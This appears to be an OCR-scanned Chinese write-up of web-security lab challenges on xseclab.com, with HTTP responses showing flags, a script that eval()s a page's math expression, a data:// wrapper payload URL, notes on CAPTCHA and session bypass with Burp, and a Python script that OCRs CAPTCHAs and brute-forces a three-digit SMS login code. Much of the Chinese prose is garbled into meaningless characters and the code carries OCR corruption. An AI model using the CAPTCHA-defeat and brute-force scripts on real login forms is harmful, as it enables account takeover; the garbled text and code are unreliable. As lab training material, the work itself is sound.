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HTTP/1.1 200 OK

Server: sag

Connection: keep-alive

Date: Sun, 26 Jun 2016 11:48:34 GMT
Content-Type: text/html

Wia: 10.67.1548

X-Daa-Tunnel: hop_count=1
Content-Length: 94

<script>window.location="./no_key_is_here_forever.php™ </script>
key is: yougotit_script_now
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#!/usr/bin/env python3
# Author: renzongxian

import requests

import re

url = 'http://labl.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075bel/index.php"
header = {'Cookie': 'PHPSESSID=$Your Cookie'}

# RBEE R

resp_content = requests.get(url, headers = header).content.decode('utf-8")

matches = re.search("(.*)=<input", resp_content)

# RIRGER

data = {'v': str(eval(matches.group(1)))}

resp_content = requests.post(url, headers=header, data=data).content.decode('utf-8")
# ERAm LA 2

matches = re.search("<body>(.*)</body>", resp_content)

print(matches.group(1))
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Date: Sun, 26 Jun 2016 12:32:21 GMT
Cache-Control: no-store

Content-Type: text/html; charset=utf-8
Pragma: no-cache

\ia: 10.67.15.48

X-Daa-Tunnel: hop_count=1
Content-Length: 22

key is ULL789sdf+@sd
FAY IEHR R Akey is LILJL789sdf#@sd
8 LIS UERS 8 — 1A

BAERAR—EH AT, R T REMAEN— XKL 5B Burp B &R FFvcode W& #iAT (AR
F WE LIRS S =1 . FIBIEFR MM Nkey is LILJL789ss33fasvxcvsdf#@sd

1 ARG 55 =] (SESSION)
B b 78 — LR IRIEAD i SR



O UERS R AR AR

1. BRRE

2. BoRIGTERS G AAERBIERBER) , BRI IN% J5i80E session 8% cookie

3. AR FR

4. BT RAERS TR . BE &5 B N B B 52 Bk

RAPmREFRA—%, EEBRT, SERGIARERE, BIESEF#H3EF, session Ml cookie HELIRE L
.

EREKNBREA— I EFHRETE, Br AEEEN post IR S mfEfF REHIE, XFERIESREFRA
WH, 2% session fl cookie FfHIMF RIEME R & LIRIE, WEEAER, X8 LUS TR KKES post B #
RIZEEHE, TAH RIS, WU F R %!

FTEA, FERNIAERD )5 %64 session Fl cookie MEIE R, RS MEIREEEAIN, RENE! X, —NMEHEH
B ET!

R ] L 38 = HA 5 ¥, B IEMR N Nkey is LJILJLfuckvcodesdf#@sd

WER—THaER T

XNMEESQETEEERESE PHP R, "REX PHP A%, EAGREEEZBEEANEELAMES
B, fRikBETS%http://www.waitalone.cn/security-scripts-game.html, &%
Hhttp://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?

A A=data://text/plain;charset=unicode,%28%E2%97 %8F %27 %E2%97 %A1%27 %E2%97%8F %29, %R
Wi B Eef3Ehkjasfhsa* s TUHKUH

M

E B F LIRS
ARG E S 4R 32 J5 37 “please login as 133888866677, & [E EHREUVIGIERY, REIEFHL S SR
ERK), RABMABSkey is LILILGod!@@sd

FIEMBE S A
R R FHRAER, BRI F HIFLAR0, HE Burp BEZR /B, 53" IR050 K K DA/t
EEEBRARKET B/ L KA. TR THROFEFEERTRIRK (B2 BEAE, RARERNKAE. B
R FHLSHS2:13399999999", BHUFH S /5 RMFKI T KB AWM, BEkey is LKKS* (l@€sd

9. WUERG IR

EEHRIFEIR], FEHB Python3 KRR KKIE: Pillow (K#ilibjpegfizlib) #1 pytesseract(#k #itesseract-ocr),
I B ¥ 7 B W YRS B R BB RS BN T 3N 8, A1003999”


http://www.waitalone.cn/security-scripts-game.html
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?%255E.%255E=data://text/plain;charset=unicode,%2528%25E2%2597%258F%2527%25E2%2597%25A1%2527%25E2%2597%258F%2529

#!/usr/bin/env python3
# Author: renzongxian

import pytesseract

from PIL import Image

import requests

import os

cur_path = os.getcwd()

vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}

def vcode():

# IUERS IR R 3L

pic_url = 'http://labl.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php’

r = requests.get(pic_url, headers=header, timeout=10)

with open(vcode_path, 'wb') as pic:

pic.write(r.content)

im = pytesseract.image_to_string(Image.open(vcode_path))

im = im.replace(' ', '")

if im 1= "'

return im
else:

return vcode()

url = "http://labl.xseclab.com/vcode7_f7947d56f22133dbc85dda4{28530268/1login.php'
for i in range(100, 1000):
code = vcode()
data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
response = r.content.decode('utf-8"')
if 'user_code or mobi_code error' in response:
print('trying ' + str(i))
else:
print('the mobi_code is ' + str(i))
print(response)
break
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